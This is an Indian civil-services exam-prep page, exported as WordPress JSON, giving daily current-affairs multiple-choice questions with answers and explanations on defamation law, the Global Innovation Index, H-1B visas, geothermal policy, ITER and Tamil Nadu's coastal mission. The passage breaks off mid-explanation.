{"id":2442,"date":"2025-09-24T14:21:03","date_gmt":"2025-09-24T14:21:03","guid":{"rendered":"https:\/\/iasquest.com\/?p=2442"},"modified":"2026-02-11T18:52:19","modified_gmt":"2026-02-11T18:52:19","slug":"daily-current-affairs-24-09-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-24-09-2025\/","title":{"rendered":"Daily Current Affairs \u2013 24-09-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. With reference to Indian polity, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">1. The constitution of India under the tenth schedule defines defamation as any spoken or written words, signs, or representations that harm a person\u2019s reputation.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">2. The constitution of India allows reasonable restrictions on freedom of speech and expression in the interests of defamation, public order, sovereignty and integrity of India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">3. Many democratic countries like India have decriminalized defamation.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(c) 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">(d) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Answer: (b) 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>In NEWS:<\/strong> \u200bPenalty in proportion: On growing use of criminal defamation proceedings<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>Criminal Defamation in India<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-14\">\n<li>Defamation means harming the reputation of a person by words (spoken\/written), signs, or visible representations.<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-15\">\n<li>It can be <strong>civil<\/strong> (compensation under law of torts) or <strong>criminal<\/strong> (punishable under IPC)<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>Constitutional Angle:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-17\">\n<li><strong>Article 19(1)(a)<\/strong> guarantees freedom of speech and expression.<\/li>\n\n\n\n<li><strong>Article 19(2)<\/strong> allows reasonable restrictions in the interests of defamation, public order, sovereignty and integrity of India, etc. <strong>Hence statement 2 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\"><strong>Legal Provisions:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-19\">\n<li><strong>Section 499 of the Indian Penal Code (IPC):<\/strong> Defines criminal defamation&nbsp; as any spoken or written words, signs, or representations that harm a person\u2019s reputation. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li><strong>Section 500 of IPC:<\/strong> Punishment \u2013 imprisonment up to <strong>2 years<\/strong>, fine, or both.<\/li>\n\n\n\n<li>Exceptions include statements made in good faith for public good, opinions about public servants, conduct of public questions, etc.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>Supreme Court Stand:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-21\">\n<li>In <strong>Subramanian Swamy v. Union of India (2016):<\/strong> SC upheld the <strong>constitutional validity<\/strong> of Sections 499\u2013500 IPC.<\/li>\n\n\n\n<li>The court held that the <strong>right to reputation<\/strong> is part of <strong>Article 21 (Right to Life and Personal Liberty)<\/strong>, hence a reasonable restriction on free speech.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong>Arguments in Favour:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-23\">\n<li>Protects individuals from malicious attacks.<\/li>\n\n\n\n<li>Safeguards reputation, which is a facet of dignity.<\/li>\n\n\n\n<li>Acts as a deterrent against misuse of freedom of speech.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>Arguments Against:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-25\">\n<li>Criminalization has a <strong>chilling effect<\/strong> on free speech.<\/li>\n\n\n\n<li>Used as a tool to <strong>harass journalists, critics, and opposition leaders<\/strong>.<\/li>\n\n\n\n<li>Civil remedies (compensation) are sufficient without criminal liability.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\"><strong>Global Practice:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-27\">\n<li>Many democracies (e.g., UK, USA) have <strong>decriminalized defamation<\/strong>, treating it as a civil wrong.<\/li>\n\n\n\n<li>India still retains criminal provisions. <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><br><strong>Q. Consider the following statements:<\/strong> <br><br>1. Pursuant to the report of H.N. Sanyal Committee, the Contempt of Courts Act, 1971 was passed. <br>2. The Constitution of India empowers the Supreme Court and the High Courts to punish for contempt of themselves. <br>3. The Constitution of India defines Civil Contempt and Criminal Contempt. <br>4. In India, the Parliament is vested with the powers to make laws on Contempt of Court. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 and 2 only <br><strong>(b) 1, 2 and 4<\/strong> <br>(c) 3 and 4 only <br>(d) 3 only<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/opinion\/editorial\/penalty-in-proportion-on-growing-use-of-criminal-defamation-proceedings\/article70084730.ece#:~:text=Criminal%20defamation%20is%20incompatible%20with%20democratic%20debate&amp;text=When%20the%20Supreme%20Court%20of,the%20difficulties%20of%20this%20position\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/opinion\/editorial\/penalty-in-proportion-on-growing-use-of-criminal-defamation-proceedings\/article70084730.ece#:~:text=Criminal%20defamation%20is%20incompatible%20with%20democratic%20debate&amp;text=When%20the%20Supreme%20Court%20of,the%20difficulties%20of%20this%20position<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>2. India&#8217;s ranking in the &#8216;Global Innovation Index&#8217; is sometimes seen in the news. Which of the following has declared that ranking?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\">(a) World Economic Forum<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\">(b) World Intellectual Property Organization<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\">(c) Global Innovation Policy Center<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\">(d) World Trade Organization<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><strong>Answer: (b) World Intellectual Property Organization<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\"><strong>In NEWS: <\/strong>India will be among top 10 countries on Global Innovation Index in next 3 years: Amit Shah<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><strong>Global Innovation Index (GII):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-38\">\n<li>It is developed by World Intellectual Property Organization (WIPO) in collaboration with Cornell University and INSEAD. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>The Index ranks countries based on their innovation capabilities and performance, helping policymakers and businesses track progress and make informed decisions.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\"><strong>The GII uses 80+ indicators across 7 pillars:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\"><strong>Innovation Inputs:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-41\">\n<li>Institutions \u2013 Political stability, government effectiveness, regulatory quality<\/li>\n\n\n\n<li>Human capital &amp; research \u2013 Education, R&amp;D investments<\/li>\n\n\n\n<li>Infrastructure \u2013 ICT, energy, transport<\/li>\n\n\n\n<li>Market sophistication \u2013 Credit, investment, trade<\/li>\n\n\n\n<li>Business sophistication \u2013 Knowledge workers, R&amp;D linkages<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><strong>Innovation Outputs:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-43\">\n<li>Knowledge &amp; technology outputs \u2013 Patents, high-tech exports<\/li>\n\n\n\n<li>Creative outputs \u2013 Trademarks, designs, media content<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><strong>India\u2019s Performance:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-45\">\n<li>Rank in 2015: 91<\/li>\n\n\n\n<li>Rank in 2025: 38 (as per Amit Shah\u2019s statement)<\/li>\n\n\n\n<li>Target: Top 10 in 3 years<\/li>\n\n\n\n<li>India leads among lower-middle-income economies and is a global leader in ICT services exports, startups, and R&amp;D in select sectors.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> <br><br><strong>Q. India&#8217;s ranking in the &#8216;Ease of Doing Business Index&#8217; is sometimes seen in the news. Which of the following has declared that ranking?<\/strong> <br><br>(a) Organization for Economic Cooperation and Development (OECD) <br>(b) World Economic Forum <br><strong>(c) World Bank<\/strong> <br>(d) World Trade Organization (WTO)<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/business\/india-will-be-among-top-10-countries-on-global-innovation-index-in-next-3-years-amit-shah\/article70084509.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/business\/india-will-be-among-top-10-countries-on-global-innovation-index-in-next-3-years-amit-shah\/article70084509.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\"><a href=\"https:\/\/www.wipo.int\/gii-ranking\/en\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.wipo.int\/gii-ranking\/en\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>3. Which of the following best describes the H-1B Visa, often seen in the news?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\">(a) A permanent residency visa issued by the U.S. for skilled migrants<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\">(b) A non-immigrant work visa for specialty occupations in the U.S.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\">(c) A student visa for higher education in the U.S.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\">(d) A business visa for entrepreneurs in the U.S.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\"><strong>Answer: (b) A non-immigrant work visa for specialty occupations in the U.S.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\"><strong>In NEWS:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\"><strong>H-1B Visa:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-57\">\n<li>The H-1B visa is a <strong>non-immigrant work visa<\/strong> issued by the United States. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>It allows <strong>U.S. companies<\/strong> to employ foreign workers in <strong>specialty occupations<\/strong> requiring theoretical or technical expertise (e.g., IT, finance, engineering, medicine).<\/li>\n\n\n\n<li>The initial validity is <strong>3 years<\/strong>, extendable up to <strong>6 years<\/strong> under normal conditions.<\/li>\n\n\n\n<li>It is <strong>employer-sponsored<\/strong> \u2013 meaning the employer applies on behalf of the foreign worker.<\/li>\n\n\n\n<li>India is the <strong>largest beneficiary<\/strong> of H-1B visas, with a major share going to Indian IT professionals.<\/li>\n\n\n\n<li>Criticism includes concerns of <strong>outsourcing, wage suppression, and job displacement<\/strong> for U.S. workers.<\/li>\n\n\n\n<li>Recent U.S. policy reforms often propose tightening H-1B norms to <strong>protect American jobs<\/strong> and <strong>ensure fair wages<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/h1b-visa-fee-hike-trump-fee-hike-us-impact-on-indian-technology-workers-live-updates\/article70073225.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/h1b-visa-fee-hike-trump-fee-hike-us-impact-on-indian-technology-workers-live-updates\/article70073225.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\"><a href=\"https:\/\/indianexpress.com\/article\/explained\/explained-global\/l-1-visa-and-h-1b-10266306\/?ref=explained_pg\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/explained\/explained-global\/l-1-visa-and-h-1b-10266306\/?ref=explained_pg<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\"><strong>4.With reference to the \u2018National Policy on Geothermal Energy 2025\u2019 consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\">I. The National Policy on Geothermal Energy 2025 is launched by the Ministry of New and Renewable Energy (MNRE).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\">II. It aims to promote exploration, research, development, and deployment of geothermal energy in India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\">III. It also encourages 100% FDI, Viability Gap Funding (VGF), and tax incentives for geothermal projects.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\">(a) I and III only&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\">(b) II only&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\">(c) II and III only&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\">(d) I, II and III<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\"><strong>Answer: (d) I, II and III<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\"><strong>In NEWS:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\"><strong>National Policy on Geothermal Energy 2025:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-73\">\n<li>The <strong>National Policy on Geothermal Energy 2025<\/strong> has been launched by the <strong>Ministry of New and Renewable Energy (MNRE)<\/strong>. <strong>Hence statement I is correct.<\/strong><\/li>\n\n\n\n<li>The policy aims to promote <strong>exploration, research, development, and deployment<\/strong> of geothermal energy in India. <strong>Hence statement II is correct.<\/strong><\/li>\n\n\n\n<li>It seeks to diversify India\u2019s <strong>renewable energy mix<\/strong> and support the country\u2019s commitment to achieve <strong>Net-Zero by 2070<\/strong>.<\/li>\n\n\n\n<li>The estimated <strong>geothermal potential in India is about 10.6 GW<\/strong>, as identified by the Geological Survey of India (GSI).<\/li>\n\n\n\n<li>The GSI has mapped <strong>381 hot springs<\/strong> in the country, with surface temperatures ranging between <strong>35\u00b0C to 89\u00b0C<\/strong>.<\/li>\n\n\n\n<li>The major geothermal provinces in India include:<ul><li><strong>Himalayan Geothermal Province<\/strong> (Uttarakhand, Himachal Pradesh, Ladakh, J&amp;K, Arunachal Pradesh)<\/li><\/ul><ul><li><strong>Cambay Graben<\/strong> (Gujarat \u2013 especially using abandoned oil wells)<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>Andaman &amp; Nicobar Islands<\/strong><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>The policy encourages <strong>100% FDI<\/strong>, <strong>Viability Gap Funding (VGF)<\/strong>, and <strong>tax incentives<\/strong> for geothermal projects. <strong>Hence statement III is correct.<\/strong><\/li>\n\n\n\n<li>It promotes <strong>local R&amp;D and innovation<\/strong> to reduce high costs associated with drilling and reservoir management.<\/li>\n\n\n\n<li>Challenges include:<ul><li><strong>High upfront capital cost<\/strong><\/li><\/ul><ul><li><strong>Exploration risk and site specificity<\/strong><\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>Lack of advanced technology and expertise<\/strong><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Implementation requires close coordination among <strong>MNRE, State Governments, Ministry of Petroleum &amp; Natural Gas, and local authorities<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2019)<\/strong> <br><br><strong>Q. In the context of which one of the following are the terms \u2018pyrolysis and plasma gasification\u2019 mentioned?<\/strong> <br><br>(a) Extraction of rare earth elements <br>(b) Natural gas extraction technologies <br>(c) Hydrogen fuel-based automobiles <br><strong>(d) Waste-to-energy technologies<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/upsc-current-affairs\/upsc-essentials\/knowledge-nugget-national-policy-on-geothermal-energy-2025-upsc-10259059\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/upsc-current-affairs\/upsc-essentials\/knowledge-nugget-national-policy-on-geothermal-energy-2025-upsc-10259059\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\"><strong>5. Which among the following statements are correct with respect to the \u201cInternational Thermonuclear Experimental Reactor\u201d?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\">1. It is the world\u2019s largest experimental fusion reactor.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\">2. It uses thorium in place of uranium for power generation.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\">3. The nuclear fusion reaction is a carbon-free energy source.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\">4. India is one of the full members of the ITER project<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\"><strong>Select the correct answer using the codes given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\">(a) 1, 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\">(b) 1, 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\">(c) 2 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\">(d) 1, 2, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\"><strong>Answer: (b) 1, 3 and 4 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\"><strong>In NEWS: <\/strong>IPR Gandhinagar proposes roadmap for India\u2019s fusion power plans<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\"><strong>ITER (International Thermonuclear Experimental Reactor)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-89\">\n<li>World\u2019s largest experimental <strong>tokamak<\/strong> (fusion reactor) under construction at <strong>Cadarache, France<\/strong>. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>Objective: To demonstrate the feasibility of <strong>nuclear fusion as a large-scale, carbon-free energy source<\/strong>. <strong>Hence statement 3 is correct.<\/strong><\/li>\n\n\n\n<li>Seeks to produce <strong>10 times more energy output than input<\/strong> (500 MW output from 50 MW input).<\/li>\n\n\n\n<li>ITER uses deuterium + tritium fusion. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\"><strong>India\u2019s Participation<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-91\">\n<li>India is one of the <strong>7 full members<\/strong>: EU, USA, Russia, Japan, China, South Korea, and India. <strong>Hence statement 4 is correct.<\/strong><\/li>\n\n\n\n<li>India contributes about <strong>9% of ITER\u2019s construction cost<\/strong> (in-kind and in-cash).<\/li>\n\n\n\n<li>The <strong>Institute for Plasma Research (IPR), Gandhinagar<\/strong> is India\u2019s nodal agency.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\"><strong>India\u2019s Key Contributions<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-93\">\n<li>Fabrication of <strong>cryostat<\/strong> (the world\u2019s largest stainless-steel vacuum chamber).<\/li>\n\n\n\n<li>Development of in-vessel shielding, cooling water systems, cryogenic systems.<\/li>\n\n\n\n<li>Supply of <strong>diagnostic equipment<\/strong> and advanced materials.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\"><strong>Strategic Importance for India<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-95\">\n<li>Access to <strong>frontline fusion technology<\/strong> and global research collaborations.<\/li>\n\n\n\n<li>Builds capacity in <strong>superconducting magnets, cryogenics, materials science, and plasma research<\/strong>.<\/li>\n\n\n\n<li>Supports India\u2019s long-term plan for indigenous devices like <strong>SST-1<\/strong>, <strong>ADITYA-U<\/strong>, and proposed <strong>SST-Bharat<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\"><strong>Challenges<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-97\">\n<li>Fusion requires extreme conditions: plasma temp ~150 million \u00b0C, superconducting magnets, tritium breeding.<\/li>\n\n\n\n<li>High cost, long gestation period, and complex international collaboration.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\"><strong>Future Outlook<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-99\">\n<li>ITER is expected to begin operations around <strong>2035<\/strong>.<\/li>\n\n\n\n<li>India\u2019s parallel roadmap envisions building <strong>fusion-fission hybrid reactors<\/strong> and a <strong>DEMO reactor (~250 MWe)<\/strong> for eventual commercialization.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> <br><br><strong>Q. India is an important member of the \u2018International Thermonuclear Experimental Reactor\u2019. If this experiment succeeds, what is the immediate advantage of India?<\/strong> <br><br>(a) It can use thorium in place of uranium for power generation. <br>(b) It can attain a global role in satellite navigation <br>(c) It can drastically improve the efficiency of its fission reactors in power generation <br><strong>(d) It can build fusion reactors for power generation<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/science\/ipr-gandhinagar-team-proposes-roadmap-for-indias-fusion-power-plans\/article70083807.ece#:~:text=Researchers%20at%20the%20Institute%20for,power%20output%205x%20the%20input\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/science\/ipr-gandhinagar-team-proposes-roadmap-for-indias-fusion-power-plans\/article70083807.ece#:~:text=Researchers%20at%20the%20Institute%20for,power%20output%205x%20the%20input<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>6. Which among the following statements is not true with respect to the \u201cTamil Nadu Coastal Restoration Mission (TN-SHORE)\u201d?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\">(a) It is a flagship program launched to restore, protect, and sustainably manage the state\u2019s coastal ecosystems by promoting the Blue Economy.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\">(b) It aims to establish conservation centers for Sea turtles and dugongs.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\">(c) It is being funded by the International Monetary Fund.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\">(d) It spans 14 coastal districts of Tamil Nadu, covering approximately 1,076 km of coastline.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\"><strong>Answer: (c) It is being funded by the International Monetary Fund.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\"><strong>In NEWS: <\/strong>World Bank to fund T.N. village councils for mangrove plantation<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\"><strong>Tamil Nadu Coastal Restoration Mission (TN-SHORE)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-110\">\n<li>TN-SHORE (Tamil Nadu Coastal Restoration Mission) is a flagship program launched to <strong>restore, protect, and sustainably manage the state\u2019s coastal ecosystems<\/strong> while promoting the Blue Economy.<\/li>\n\n\n\n<li><strong>Budget &amp; Funding:<\/strong> The mission has a total outlay of <strong>\u20b91,675 crore<\/strong> over five years, with the <strong>World Bank contributing \u20b91,172.5 crore<\/strong> and the <strong>state government providing 